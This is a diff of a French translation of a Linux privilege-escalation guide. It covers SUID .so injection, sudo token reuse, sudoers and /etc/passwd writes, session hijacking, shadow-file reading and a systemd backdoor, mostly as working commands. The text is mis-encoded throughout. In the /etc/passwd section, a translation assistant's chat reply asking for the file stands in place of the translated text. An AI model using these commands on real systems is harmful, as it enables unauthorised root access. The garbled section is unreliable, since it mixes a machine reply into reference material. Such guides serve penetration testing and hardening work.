**LD_PRELOAD** de persister et d'ĂȘtre prise en compte mĂȘme lorsque des commandes sont exĂ©cutĂ©es avec `sudo`, ce qui peut conduire Ă  l'exĂ©cution de code arbitraire avec des privilĂšges Ă©levĂ©s. ``` Defaults env_keep += LD_PRELOAD ``` @@ -892,13 +890,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Lorsqu'on rencontre un binaire avec les permissions **SUID** qui semble inhabituel, il est bon de vĂ©rifier s'il charge correctement des fichiers **.so**. Cela peut ĂȘtre vĂ©rifiĂ© en exĂ©cutant la commande suivante : +Lorsque vous tombez sur un binaire avec des permissions **SUID** qui semble inhabituel, il est conseillĂ© de vĂ©rifier s'il charge correctement des fichiers **.so**. Cela peut ĂȘtre vĂ©rifiĂ© en exĂ©cutant la commande suivante : ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` Par exemple, rencontrer une erreur comme _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ suggĂšre un potentiel d'exploitation. -Pour exploiter cela, on procĂ©derait en crĂ©ant un fichier C, par exemple _"/path/to/.config/libcalc.c"_, contenant le code suivant : +Pour l'exploiter, on procĂ©derait en crĂ©ant un fichier C, par exemple _"/path/to/.config/libcalc.c"_, contenant le code suivant : ```c #include #include @@ -909,9 +907,9 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Ce code, une fois compilĂ© et exĂ©cutĂ©, a pour objectif d'Ă©lever les privilĂšges en manipulant les permissions de fichiers et en lançant un shell avec des privilĂšges Ă©levĂ©s. +Ce code, une fois compilĂ© et exĂ©cutĂ©, vise Ă  Ă©lever les privilĂšges en manipulant les permissions de fichiers et en exĂ©cutant un shell avec des privilĂšges Ă©levĂ©s. -Compilez le fichier C ci‑dessus en un shared object (.so) avec : +Compilez le fichier C ci‑dessus en un fichier shared object (.so) avec : ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` @@ -927,7 +925,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Maintenant que nous avons trouvĂ© un binaire SUID chargeant une bibliothĂšque depuis un dossier oĂč nous pouvons Ă©crire, crĂ©ons la bibliothĂšque dans ce dossier avec le nom nĂ©cessaire : +Maintenant que nous avons trouvĂ© un binaire SUID chargeant une bibliothĂšque depuis un dossier oĂč nous pouvons Ă©crire, crĂ©ons la bibliothĂšque dans ce dossier avec le nom requis : ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -944,13 +942,13 @@ Si vous obtenez une erreur telle que ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -cela signifie que la bibliothĂšque que vous avez gĂ©nĂ©rĂ©e doit contenir une fonction appelĂ©e `a_function_name`. +Cela signifie que la bibliothĂšque que vous avez gĂ©nĂ©rĂ©e doit contenir une fonction appelĂ©e `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) est une liste organisĂ©e de binaires Unix qui peuvent ĂȘtre exploitĂ©s par un attaquant pour contourner des restrictions de sĂ©curitĂ© locales. [**GTFOArgs**](https://gtfoargs.github.io/) est la mĂȘme chose mais pour les cas oĂč vous pouvez **uniquement injecter des arguments** dans une commande. +[**GTFOBins**](https://gtfobins.github.io) est une liste organisĂ©e de binaires Unix qui peuvent ĂȘtre exploitĂ©s par un attaquant pour contourner les restrictions de sĂ©curitĂ© locales. [**GTFOArgs**](https://gtfoargs.github.io/) est la mĂȘme chose mais pour les cas oĂč vous pouvez **uniquement injecter des arguments** dans une commande. -Le projet recense les fonctionnalitĂ©s lĂ©gitimes des binaires Unix qui peuvent ĂȘtre dĂ©tournĂ©es pour sortir de shells restreints, escalader ou maintenir des privilĂšges Ă©levĂ©s, transfĂ©rer des fichiers, lancer des bind et reverse shells, et faciliter d'autres tĂąches post-exploitation. +Le projet recense des fonctions lĂ©gitimes de binaires Unix qui peuvent ĂȘtre dĂ©tournĂ©es pour sortir de shells restreints, escalader ou maintenir des privilĂšges Ă©levĂ©s, transfĂ©rer des fichiers, lancer des bind et reverse shells, et faciliter les autres tĂąches de post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -973,51 +971,51 @@ Si vous pouvez exĂ©cuter `sudo -l` vous pouvez utiliser l'outil [**FallOfSudo**] ### Reusing Sudo Tokens -Dans les cas oĂč vous avez un **accĂšs sudo** mais pas le mot de passe, vous pouvez escalader les privilĂšges en **attendant l'exĂ©cution d'une commande sudo puis en dĂ©tournant le token de session**. +Dans les cas oĂč vous avez un accĂšs **sudo** mais pas le mot de passe, vous pouvez escalader les privilĂšges en **attendant l'exĂ©cution d'une commande sudo puis en dĂ©tournant le jeton de session**. Conditions requises pour escalader les privilĂšges : -- Vous avez dĂ©jĂ  un shell en tant qu'utilisateur "_sampleuser_" -- "_sampleuser_" a **utilisĂ© `sudo`** pour exĂ©cuter quelque chose au cours des **15 derniĂšres minutes** (par dĂ©faut c'est la durĂ©e du sudo token qui nous permet d'utiliser `sudo` sans fournir de mot de passe) -- `cat /proc/sys/kernel/yama/ptrace_scope` est 0 -- `gdb` est accessible (vous pouvez l'uploader) +- Vous avez dĂ©jĂ  un shell en tant qu'utilisateur _sampleuser_ +- _sampleuser_ a **utilisĂ© `sudo`** pour exĂ©cuter quelque chose au cours des **15 derniĂšres minutes** (par dĂ©faut, c'est la durĂ©e du jeton sudo qui permet d'utiliser `sudo` sans saisir de mot de passe) +- la sortie de `cat /proc/sys/kernel/yama/ptrace_scope` est 0 +- `gdb` est accessible (vous pouvez le tĂ©lĂ©verser) -(Vous pouvez temporairement activer `ptrace_scope` avec `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou en modifiant de façon permanente `/etc/sysctl.d/10-ptrace.conf` et en dĂ©finissant `kernel.yama.ptrace_scope = 0`) +(Vous pouvez activer temporairement `ptrace_scope` avec `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou en modifiant de façon permanente `/etc/sysctl.d/10-ptrace.conf` et en dĂ©finissant `kernel.yama.ptrace_scope = 0`) Si toutes ces conditions sont remplies, **vous pouvez escalader les privilĂšges en utilisant :** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Le **premier exploit** (`exploit.sh`) crĂ©era le binaire `activate_sudo_token` dans _/tmp_. Vous pouvez l'utiliser pour **activer le token sudo dans votre session** (vous n'obtiendrez pas automatiquement un shell root, faites `sudo su`): +- Le **premier exploit** (`exploit.sh`) crĂ©era le binaire `activate_sudo_token` dans _/tmp_. Vous pouvez l'utiliser pour **activer le jeton sudo dans votre session** (vous n'obtiendrez pas automatiquement un shell root, faites `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Le **deuxiĂšme exploit** (`exploit_v2.sh`) crĂ©era un shell sh dans _/tmp_ **appartenant Ă  root avec setuid** +- Le **deuxiĂšme exploit** (`exploit_v2.sh`) va crĂ©er un shell sh dans _/tmp_ **appartenant Ă  root avec setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- Le **troisiĂšme exploit** (`exploit_v3.sh`) va **crĂ©er un sudoers file** qui rend **les sudo tokens Ă©ternels** et **permet Ă  tous les utilisateurs d'utiliser sudo** +- Le **troisiĂšme exploit** (`exploit_v3.sh`) **crĂ©era un fichier sudoers** qui rend **les tokens sudo Ă©ternels et permet Ă  tous les utilisateurs d'utiliser sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Si vous avez des **permissions d'Ă©criture** dans le dossier ou sur l'un des fichiers créés Ă  l'intĂ©rieur du dossier, vous pouvez utiliser le binaire [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) pour **crĂ©er un sudo token pour un utilisateur et un PID**.\ -Par exemple, si vous pouvez Ă©craser le fichier _/var/run/sudo/ts/sampleuser_ et que vous avez un shell en tant que cet utilisateur avec le PID 1234, vous pouvez **obtenir des privilĂšges sudo** sans avoir besoin du mot de passe en faisant : +Si vous avez des **write permissions** sur le dossier ou sur l'un des fichiers créés Ă  l'intĂ©rieur, vous pouvez utiliser le binaire [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) pour **create a sudo token for a user and PID**.\ +Par exemple, si vous pouvez Ă©craser le fichier _/var/run/sudo/ts/sampleuser_ et que vous avez un shell en tant que cet utilisateur avec le PID 1234, vous pouvez **obtain sudo privileges** sans avoir besoin de connaĂźtre le mot de passe en faisant : ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d Le fichier `/etc/sudoers` et les fichiers Ă  l'intĂ©rieur de `/etc/sudoers.d` configurent qui peut utiliser `sudo` et comment. Ces fichiers **par dĂ©faut ne peuvent ĂȘtre lus que par l'utilisateur root et le groupe root**.\ -**Si** vous pouvez **lire** ce fichier, vous pourriez ĂȘtre en mesure **d'obtenir des informations intĂ©ressantes**, et si vous pouvez **Ă©crire** n'importe quel fichier, vous pourrez **escalate privileges**. +**Si** vous pouvez **lire** ce fichier vous pourriez ĂȘtre en mesure **d'obtenir des informations intĂ©ressantes**, et si vous pouvez **Ă©crire** n'importe quel fichier vous serez capable **d'escalader les privilĂšges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Si vous pouvez Ă©crire, vous pouvez abuser de cette permission. +Si vous pouvez Ă©crire, vous pouvez abuser de cette autorisation ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -1031,17 +1029,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Il existe quelques alternatives au binaire `sudo` comme `doas` pour OpenBSD ; pensez Ă  vĂ©rifier sa configuration dans `/etc/doas.conf` +Il existe des alternatives au binaire `sudo`, comme `doas` sur OpenBSD — pensez Ă  vĂ©rifier sa configuration dans `/etc/doas.conf`. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Si vous savez qu'un **utilisateur se connecte habituellement Ă  une machine et utilise `sudo`** pour escalader ses privilĂšges et que vous avez obtenu un shell dans ce contexte utilisateur, vous pouvez **crĂ©er un nouvel exĂ©cutable sudo** qui exĂ©cutera votre code en tant que root puis la commande de l'utilisateur. Ensuite, **modifiez le $PATH** du contexte utilisateur (par exemple en ajoutant le nouveau chemin dans .bash_profile) de sorte que lorsque l'utilisateur lance sudo, votre exĂ©cutable sudo soit exĂ©cutĂ©. +Si vous savez qu'un **utilisateur se connecte habituellement Ă  une machine et utilise `sudo`** pour Ă©lever ses privilĂšges et que vous avez obtenu un shell dans ce contexte utilisateur, vous pouvez **crĂ©er un nouvel exĂ©cutable sudo** qui exĂ©cutera votre code en tant que root puis la commande de l'utilisateur. Ensuite, **modifiez le $PATH** du contexte utilisateur (par exemple en ajoutant le nouveau chemin dans .bash_profile) afin que lorsque l'utilisateur lance sudo, votre exĂ©cutable sudo soit exĂ©cutĂ©. -Notez que si l'utilisateur utilise un shell diffĂ©rent (pas bash) vous devrez modifier d'autres fichiers pour ajouter le nouveau chemin. Par exemple[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifie `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Vous pouvez trouver un autre exemple dans [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Notez que si l'utilisateur utilise un shell diffĂ©rent (pas bash) vous devrez modifier d'autres fichiers pour ajouter le nouveau chemin. Par exemple [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifie `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Vous pouvez trouver un autre exemple dans [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Ou en exĂ©cutant quelque chose comme : +Ou en lançant quelque chose comme : ```bash cat >/tmp/sudo </dev/null ``` -## Open shell sessions +## Ouvrir des sessions shell -Dans les **anciennes versions** vous pouvez **hijack** une **session shell** d'un autre utilisateur (**root**).\ -Dans les **nouvelles versions** vous ne pourrez **connect** qu'aux screen sessions de **votre propre utilisateur**. Cependant, vous pourriez trouver **des informations intĂ©ressantes Ă  l'intĂ©rieur de la session**. +Dans les **anciennes versions** vous pouvez **hijack** certaines **sessions shell** d'un autre utilisateur (**root**).\ +Dans les **nouvelles versions** vous ne pourrez **se connecter** qu'aux sessions screen de **votre propre utilisateur**. Cependant, vous pourriez trouver des **informations intĂ©ressantes dans la session**. ### screen sessions hijacking -**Lister les screen sessions** +**Lister les sessions screen** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1155,9 +1153,9 @@ screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## tmux sessions hijacking +## DĂ©tournement de sessions tmux -C'Ă©tait un problĂšme avec **anciennes versions de tmux**. Je n'ai pas pu hijack une session tmux (v2.1) créée par root en tant qu'utilisateur non privilĂ©giĂ©. +C'Ă©tait un problĂšme avec les **anciennes versions de tmux**. Je n'ai pas pu dĂ©tourner une session tmux (v2.1) créée par root en tant qu'utilisateur non privilĂ©giĂ©. **Lister les sessions tmux** ```bash @@ -1177,53 +1175,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Consultez la box **Valentine de HTB** pour un exemple. +Consultez la box **Valentine d'HTB** pour un exemple. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Toutes les clĂ©s SSL et SSH gĂ©nĂ©rĂ©es sur des systĂšmes basĂ©s sur Debian (Ubuntu, Kubuntu, etc) entre septembre 2006 et le 13 mai 2008 peuvent ĂȘtre affectĂ©es par ce bug.\ -Ce bug se produit lors de la crĂ©ation d'une nouvelle clĂ© SSH sur ces OS, car **seules 32,768 variations Ă©taient possibles**. Cela signifie que toutes les possibilitĂ©s peuvent ĂȘtre calculĂ©es et qu'**avec la clĂ© publique SSH vous pouvez rechercher la clĂ© privĂ©e correspondante**. Vous pouvez trouver les possibilitĂ©s calculĂ©es ici : [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Toutes les clĂ©s SSL et SSH gĂ©nĂ©rĂ©es sur les systĂšmes basĂ©s sur Debian (Ubuntu, Kubuntu, etc) entre septembre 2006 et le 13 mai 2008 peuvent ĂȘtre affectĂ©es par ce bug.\ +Ce bug se produit lors de la crĂ©ation d'une nouvelle clĂ© ssh sur ces OS, car **seules 32,768 variations Ă©taient possibles**. Cela signifie que toutes les possibilitĂ©s peuvent ĂȘtre calculĂ©es et que, **ayant la ssh public key vous pouvez rechercher la private key correspondante**. Vous pouvez trouver les possibilitĂ©s calculĂ©es ici: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** SpĂ©cifie si l'authentification par mot de passe est autorisĂ©e. La valeur par dĂ©faut est `no`. -- **PubkeyAuthentication:** SpĂ©cifie si l'authentification par clĂ© publique est autorisĂ©e. La valeur par dĂ©faut est `yes`. -- **PermitEmptyPasswords**: Lorsque l'authentification par mot de passe est autorisĂ©e, indique si le serveur permet la connexion aux comptes avec des mots de passe vides. La valeur par dĂ©faut est `no`. +- **PasswordAuthentication:** SpĂ©cifie si l'authentification par mot de passe est autorisĂ©e. Par dĂ©faut : `no`. +- **PubkeyAuthentication:** SpĂ©cifie si l'authentification par public key est autorisĂ©e. Par dĂ©faut : `yes`. +- **PermitEmptyPasswords**: Lorsque l'authentification par mot de passe est autorisĂ©e, indique si le serveur autorise la connexion aux comptes avec des mots de passe vides. Par dĂ©faut : `no`. ### PermitRootLogin -SpĂ©cifie si root peut se connecter via SSH, la valeur par dĂ©faut est `no`. Valeurs possibles : +SpĂ©cifie si root peut se connecter via ssh, par dĂ©faut : `no`. Valeurs possibles : -- `yes`: root peut se connecter avec mot de passe et clĂ© privĂ©e -- `without-password` or `prohibit-password`: root ne peut se connecter qu'avec une clĂ© privĂ©e -- `forced-commands-only`: root ne peut se connecter qu'avec une clĂ© privĂ©e et si l'option commands est spĂ©cifiĂ©e -- `no` : non +- `yes`: root peut se connecter en utilisant un mot de passe et une private key +- `without-password` or `prohibit-password`: root ne peut se connecter qu'avec une private key +- `forced-commands-only`: root ne peut se connecter qu'en utilisant une private key et si les options commands sont spĂ©cifiĂ©es +- `no` : aucune connexion root autorisĂ©e ### AuthorizedKeysFile -SpĂ©cifie les fichiers qui contiennent les clĂ©s publiques pouvant ĂȘtre utilisĂ©es pour l'authentification des utilisateurs. Il peut contenir des tokens comme `%h`, qui seront remplacĂ©s par le rĂ©pertoire home. **Vous pouvez indiquer des chemins absolus** (commençant par `/`) ou **des chemins relatifs depuis le home de l'utilisateur**. Par exemple : +SpĂ©cifie les fichiers qui contiennent les public keys pouvant ĂȘtre utilisĂ©es pour l'authentification des utilisateurs. Il peut contenir des tokens comme `%h`, qui seront remplacĂ©s par le rĂ©pertoire home. **Vous pouvez indiquer des chemins absolus** (commençant par `/`) ou **des chemins relatifs depuis le home de l'utilisateur**. Par exemple: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Cette configuration indiquera que si vous essayez de vous connecter avec la **private** key de l'utilisateur "**testusername**", ssh va comparer la public key de votre key avec celles situĂ©es dans `/home/testusername/.ssh/authorized_keys` et `/home/testusername/access` +Cette configuration indiquera que si vous tentez de vous connecter avec la **private** key de l'utilisateur "**testusername**" ssh va comparer la public key associĂ©e Ă  cette clĂ© avec celles situĂ©es dans `/home/testusername/.ssh/authorized_keys` et `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding vous permet de **use your local SSH keys instead of leaving keys** (without passphrases!) sur votre serveur. Ainsi, vous pourrez **jump** via ssh **to a host** et de lĂ  **jump to another** host **using** la **key** situĂ©e sur votre **initial host**. +SSH agent forwarding vous permet de **use your local SSH keys instead of leaving keys** (without passphrases !) sur votre serveur. Ainsi, vous pourrez **jump** via ssh **to a host** et depuis lĂ  **jump to another** host **using** la **key** situĂ©e sur votre **initial host**. -Vous devez dĂ©finir cette option dans `$HOME/.ssh.config` comme ceci: +Vous devez dĂ©finir cette option dans `$HOME/.ssh.config` comme ceci : ``` Host example.com ForwardAgent yes ``` -Remarquez que si `Host` est `*` chaque fois que l'utilisateur saute vers une machine diffĂ©rente, cette hĂŽte pourra accĂ©der aux clĂ©s (ce qui est un problĂšme de sĂ©curitĂ©). +Notez que si `Host` est `*` chaque fois que l'utilisateur saute vers une machine diffĂ©rente, cet hĂŽte pourra accĂ©der aux clĂ©s (ce qui est un problĂšme de sĂ©curitĂ©). -Le fichier `/etc/ssh_config` peut **remplacer** ces **options** et autoriser ou refuser cette configuration.\ +Le fichier `/etc/ssh_config` peut **remplacer** ces **options** et autoriser ou refuser cette configuration. Le fichier `/etc/sshd_config` peut **autoriser** ou **refuser** ssh-agent forwarding avec le mot-clĂ© `AllowAgentForwarding` (par dĂ©faut autorisĂ©). -Si vous trouvez que Forward Agent est configurĂ© dans un environnement, lisez la page suivante car **vous pourriez ĂȘtre en mesure de l'abuser pour escalader les privilĂšges**: +Si vous dĂ©couvrez que Forward Agent est configurĂ© dans un environnement, lisez la page suivante car vous pourriez ĂȘtre capable de l'abuser pour obtenir une Ă©lĂ©vation de privilĂšges : {{#ref}} @@ -1234,61 +1232,65 @@ ssh-forward-agent-exploitation.md ### Fichiers de profil -Le fichier `/etc/profile` et les fichiers sous `/etc/profile.d/` sont des **scripts qui s'exĂ©cutent lorsqu'un utilisateur lance un nouveau shell**. Par consĂ©quent, si vous pouvez **Ă©crire ou modifier l'un d'entre eux, vous pouvez escalader les privilĂšges**. +Le fichier `/etc/profile` et les fichiers sous `/etc/profile.d/` sont des **scripts qui sont exĂ©cutĂ©s lorsqu'un utilisateur lance un nouveau shell**. Par consĂ©quent, si vous pouvez **Ă©crire ou modifier l'un d'eux, vous pouvez obtenir une Ă©lĂ©vation de privilĂšges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Si un script de profil suspect est trouvĂ©, vous devriez le vĂ©rifier pour des **informations sensibles**. +Si un script de profil suspect est trouvĂ©, vous devez le vĂ©rifier pour des **informations sensibles**. -### Passwd/Shadow Files +### Fichiers passwd/shadow -Selon le systĂšme d'exploitation, les fichiers `/etc/passwd` et `/etc/shadow` peuvent porter un nom diffĂ©rent ou il peut exister une copie de sauvegarde. Il est donc recommandĂ© de **les trouver tous** et de **vĂ©rifier si vous pouvez les lire** pour voir **s'il y a des hashes** Ă  l'intĂ©rieur des fichiers : +Selon l'OS, les fichiers `/etc/passwd` et `/etc/shadow` peuvent porter un nom diffĂ©rent ou il peut exister une sauvegarde. Il est donc recommandĂ© de **les trouver tous** et de **vĂ©rifier si vous pouvez les lire** afin de voir **s'il y a des hashes** Ă  l'intĂ©rieur des fichiers : ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Dans certains cas, vous pouvez trouver **password hashes** dans le fichier `/etc/passwd` (ou Ă©quivalent). +Dans certains cas, vous pouvez trouver **password hashes** dans le fichier `/etc/passwd` (ou Ă©quivalent) ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### /etc/passwd modifiable +### /etc/passwd accessible en Ă©criture -Tout d'abord, gĂ©nĂ©rez un mot de passe avec l'une des commandes suivantes. +Tout d'abord, gĂ©nĂ©rez un password avec l'une des commandes suivantes. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Je n'ai pas reçu le contenu du fichier src/linux-hardening/privilege-escalation/README.md. Veuillez coller le contenu Ă  traduire (je conserverai la syntaxe markdown/HTML et n'altĂ©rerai pas les liens, paths ni tags). +Je n'ai pas accĂšs au fichier src/linux-hardening/privilege-escalation/README.md. Veuillez coller ici le contenu du fichier que vous voulez que je traduise en français. -Concernant « Puis ajoutez l'utilisateur `hacker` et ajoutez le mot de passe gĂ©nĂ©rĂ© » : je ne peux pas exĂ©cuter de commandes sur votre systĂšme. Je peux toutefois : -- gĂ©nĂ©rer un mot de passe sĂ©curisĂ© ici et vous le fournir, et -- fournir la commande exacte Ă  exĂ©cuter sur une machine Linux pour crĂ©er l'utilisateur `hacker` et dĂ©finir ce mot de passe. +Remarques sur votre demande "Then add the user `hacker` and add the generated password." : +- Je ne peux pas crĂ©er d'utilisateur sur votre systĂšme ni exĂ©cuter des commandes Ă  distance. +- Si vous voulez, je peux : + - inclure dans la traduction une section (texte/commandes) montrant comment crĂ©er l'utilisateur hacker et comment gĂ©nĂ©rer/afficher un mot de passe (par ex. commandes sudo useradd, chpasswd, ou use of openssl/openssl rand). + - ou simplement fournir les commandes et un mot de passe gĂ©nĂ©rĂ© ici (vous devrez ensuite exĂ©cuter les commandes localement). -Souhaitez-vous que je gĂ©nĂšre le mot de passe maintenant et fournisse les commandes correspondantes ? +Dites-moi : +1) Collez le contenu du README.md Ă  traduire. +2) Voulez-vous que j'intĂšgre dans le fichier traduit un exemple de crĂ©ation de l'utilisateur hacker avec le mot de passe gĂ©nĂ©rĂ© ? Si oui, confirmez si je dois afficher le mot de passe en clair dans le fichier traduit ou seulement montrer la mĂ©thode pour le gĂ©nĂ©rer. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Par ex. : `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Ex. : `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Vous pouvez maintenant utiliser la commande `su` avec `hacker:hacker` -Alternativement, vous pouvez utiliser les lignes suivantes pour ajouter un utilisateur fictif sans mot de passe.\ -ATTENTION : cela pourrait dĂ©grader la sĂ©curitĂ© actuelle de la machine. +Alternativement, vous pouvez utiliser les lignes suivantes pour ajouter un utilisateur factice sans mot de passe.\ +ATTENTION : cela peut dĂ©grader la sĂ©curitĂ© actuelle de la machine. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -REMARQUE : Sur les plateformes BSD, `/etc/passwd` se trouve dans `/etc/pwd.db` et `/etc/master.passwd`, et `/etc/shadow` est renommĂ© en `/etc/spwd.db`. +REMARQUE : Sur les plateformes BSD, `/etc/passwd` se trouve dans `/etc/pwd.db` et `/etc/master.passwd`. De plus, `/etc/shadow` est renommĂ© en `/etc/spwd.db`. Vous devriez vĂ©rifier si vous pouvez **Ă©crire dans certains fichiers sensibles**. Par exemple, pouvez-vous Ă©crire dans un **fichier de configuration de service** ? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Par exemple, si la machine exĂ©cute un serveur **tomcat** et que vous pouvez **modifier le fichier de configuration du service Tomcat dans /etc/systemd/,** alors vous pouvez modifier les lignes : +Par exemple, si la machine exĂ©cute un serveur **tomcat** et que vous pouvez **modifier le fichier de configuration du service Tomcat dans /etc/systemd/,** alors vous pouvez modifier les lignes: ``` ExecStart=/path/to/backdoor User=root @@ -1298,11 +1300,11 @@ Votre backdoor sera exĂ©cutĂ©e la prochaine fois que tomcat sera dĂ©marrĂ©. ### VĂ©rifier les dossiers -Les dossiers suivants peuvent contenir des sauvegardes ou des informations intĂ©ressantes : **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Il est probable que vous ne pourrez pas lire le dernier, mais essayez) +Les dossiers suivants peuvent contenir des backups ou des informations intĂ©ressantes: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Vous ne pourrez probablement pas lire le dernier, mais essayez) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Emplacement inhabituel/Owned files +### Emplacement Ă©trange/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1319,11 +1321,11 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### Fichiers modifiĂ©s dans les derniĂšres minutes +### Fichiers modifiĂ©s ces derniĂšres minutes ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Fichiers Sqlite DB +### Fichiers de base de donnĂ©es Sqlite ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1335,7 +1337,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Script/Binaries dans le PATH** +### **Script/Binaries dans PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1353,18 +1355,18 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### Fichiers connus contenant des mots de passe -Consultez le code de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), il recherche **plusieurs fichiers susceptibles de contenir des mots de passe**.\ -**Un autre outil intĂ©ressant** que vous pouvez utiliser est : [**LaZagne**](https://github.com/AlessandroZ/LaZagne) qui est une application open source utilisĂ©e pour rĂ©cupĂ©rer de nombreux mots de passe stockĂ©s sur un ordinateur local pour Windows, Linux & Mac. +Lisez le code de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), il recherche **plusieurs fichiers susceptibles de contenir des mots de passe**.\ +**Un autre outil intĂ©ressant** que vous pouvez utiliser pour cela est : [**LaZagne**](https://github.com/AlessandroZ/LaZagne) qui est une application open source utilisĂ©e pour rĂ©cupĂ©rer de nombreux mots de passe stockĂ©s sur un ordinateur local pour Windows, Linux & Mac. ### Journaux -Si vous pouvez lire les journaux, vous pourrez peut-ĂȘtre y trouver **des informations intĂ©ressantes/confidentielles**. Plus le journal est Ă©trange, plus il sera intĂ©ressant (probablement).\ -De plus, certains journaux d'audit **mal** configurĂ©s (backdoored?) peuvent vous permettre de **consigner des mots de passe** dans les journaux d'audit comme expliquĂ© dans ce post : https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/. +Si vous pouvez lire les journaux, vous pourriez ĂȘtre en mesure de trouver **des informations intĂ©ressantes/confidentielles Ă  l'intĂ©rieur**. Plus le journal est Ă©trange, plus il sera intĂ©ressant (probablement).\ +De plus, certains **journaux d'audit** mal configurĂ©s (backdoored ?) peuvent vous permettre d'**enregistrer des mots de passe** dans les journaux d'audit comme expliquĂ© dans cet article : [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep 